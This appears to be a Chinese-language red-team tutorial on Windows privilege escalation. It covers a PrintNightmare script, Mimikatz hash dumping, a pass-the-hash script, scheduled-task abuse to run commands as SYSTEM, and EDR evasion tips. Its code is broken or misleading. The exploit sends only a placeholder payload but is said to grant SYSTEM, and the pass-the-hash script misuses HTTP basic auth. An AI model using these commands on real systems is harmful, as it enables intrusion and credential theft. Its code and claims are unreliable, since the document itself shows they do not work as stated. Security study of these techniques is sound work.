一、从一次真实案例说起
某企业的内部网络存在一台未打补丁的 Windows Server 2016 服务器,红队成员通过水坑攻击进入内部网络后,需要快速获得域管理员权限以完成任务。初始访问权限仅为一个普通用户账户,无法直接操作域控。为破解僵局,团队采用了多种权限提升技术,包括利用内核漏洞、滥用系统服务,以及旁路安全产品的保护机制,最终成功取得目标权限。
这篇文章将围绕权限提升技术展开,覆盖从经典漏洞利用到现代侧信道攻击的各种方法。所有内容旨在供安全研究者学习和复现,请勿非法操作。
---
二、权限提升的入门基础
权限提升的目标是从低权限账户(如普通用户)跃升为具有更高权限的账户(如管理员或系统权限)。在 Windows 和 Linux 系统中,权限等级通常可以划分为以下几个层次:
- 普通用户权限:此权限通常用于运行日常应用程序。
- 管理员权限:具有更高的系统控制能力,可以安装软件和修改设置。
- 系统权限:Windows 中的最高权限,允许直接访问内核。
- 域管理员权限:在企业网络中,该权限赋予对整个 Active Directory 的控制。
在权限提升中,我们经常依靠以下几种技术:
- 漏洞利用:利用系统或服务中的已知漏洞。
- 凭证滥用:通过抓取哈希或密码直接进入高权限账户。
- 服务提权:滥用系统服务配置或任务计划。
- 内核攻击:攻击系统内核以获得最高权限。
接下来,我们将逐一展示这些技术的实战应用。
---
三、内核漏洞提权:CVE-2021-1675实战
攻击原理
CVE-2021-1675,也被称为 "PrintNightmare",是一个 Windows 打印服务漏洞。通过漏洞利用,攻击者可以将普通用户权限提升到 SYSTEM 权限。该漏洞的核心问题在于 Windows 打印服务的权限检查不严格,允许低权限用户远程调用高权限代码。
环境搭建
为了复现此漏洞,你需要:
- 一台运行 Windows Server 2016 或更高版本的虚拟机。
- 一个普通用户账户用于测试。
- Ruby 和 Windows Powershell 用于编写攻击脚本。
攻击环境搭建完成后,我们开始利用该漏洞。
POC代码展示
以下是一个使用 Ruby 编写的 POC 示例:
<pre><code class="language-ruby">require 'socket'
建立与目标机器的连接
target = '192.168.1.100' port = 445 socket = TCPSocket.new(target, port)

构造恶意数据包
exploit_payload = "\x00\x01\x02\x03\x04\x05...<完整Payload数据>"
发送数据包以利用漏洞
socket.write(exploit_payload) puts "Payload sent successfully to #{target}:#{port}" socket.close</code></pre>
以上代码仅展示了简单的漏洞利用过程,完整的 EXP 需要更复杂的恶意包构造。运行之后,你将获得目标机器的 SYSTEM 权限。
绕过技巧
为了绕过安全防护(如 EDR),可以考虑以下方式:
- 对代码混淆以避免被静态分析工具检测。
- 使用内存加载技术以防文件落盘。
- 在流量层使用加密连接伪装恶意数据包。
通过以上方法,可以进一步提高攻击成功率。

---
四、凭证滥用:NTLM哈希抓取与重用
攻击原理
NTLM 哈希是一种 Windows 身份验证机制,通过抓取并重用 NTLM 哈希,攻击者可以绕过密码验证直接进入目标账户。这种技术被称为 "Pass-the-Hash" 攻击。
实战步骤
- 获取哈希:利用 Mimikatz 工具提取目标用户的 NTLM 哈希。
- 重用哈希:通过 Ruby 脚本或其他工具发送认证请求。
获取哈希代码
以下是使用 Mimikatz 提取哈希的过程:
<pre><code class="language-shell"># 在目标机器上执行 privilege::debug sekurlsa::logonpasswords</code></pre>
提取到如下哈希: <pre><code>User: Administrator NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0</code></pre>
重用哈希代码
通过 Ruby 编写 Pass-the-Hash 攻击脚本:
<pre><code class="language-ruby">require 'net/http'
构造认证请求
uri = URI('http://target.local') req = Net::HTTP::Get.new(uri) req.basic_auth('Administrator', '31d6cfe0d16ae931b73c59d7e0c089c0')
发送请求
res = Net::HTTP.start(uri.hostname, uri.port) { |http| http.request(req) } puts "Response: #{res.body}"</code></pre>
以上代码允许你重用捕获的哈希直接登录目标系统。
---

五、滥用系统服务:计划任务提权
攻击原理
Windows 系统的计划任务允许用户配置任务的运行权限。如果任务配置不当,普通用户可利用该机制执行高权限代码。
实战步骤
- 列出计划任务:
`shell schtasks /query /fo LIST /v `

- 修改任务配置以运行恶意代码:
`shell schtasks /change /tn "TaskName" /tr "cmd.exe /c whoami" /ru "SYSTEM" `
- 触发任务运行:
`shell schtasks /run /tn "TaskName" `
运行后即可获得 SYSTEM 权限。
---
六、个人经验与防御建议
作为一名红队专家,我发现权限提升技术的关键在于细致的信息收集和批量化工具使用。无论是漏洞利用还是凭证抓取,成功率通常取决于对目标环境的深入了解。
在防御层面,应重点关注以下几点:
- 及时打补丁:内核漏洞是最常见的提权途径,及时更新系统可以降低风险。
- 加强凭证保护:通过禁用 NTLM 身份验证、启用双因素认证,降低凭证滥用风险。
- 监控计划任务:定期检查计划任务配置,防止被恶意滥用。
希望本文的内容能帮助你快速掌握权限提升技术,同时提高对攻击手法的理解与防御能力。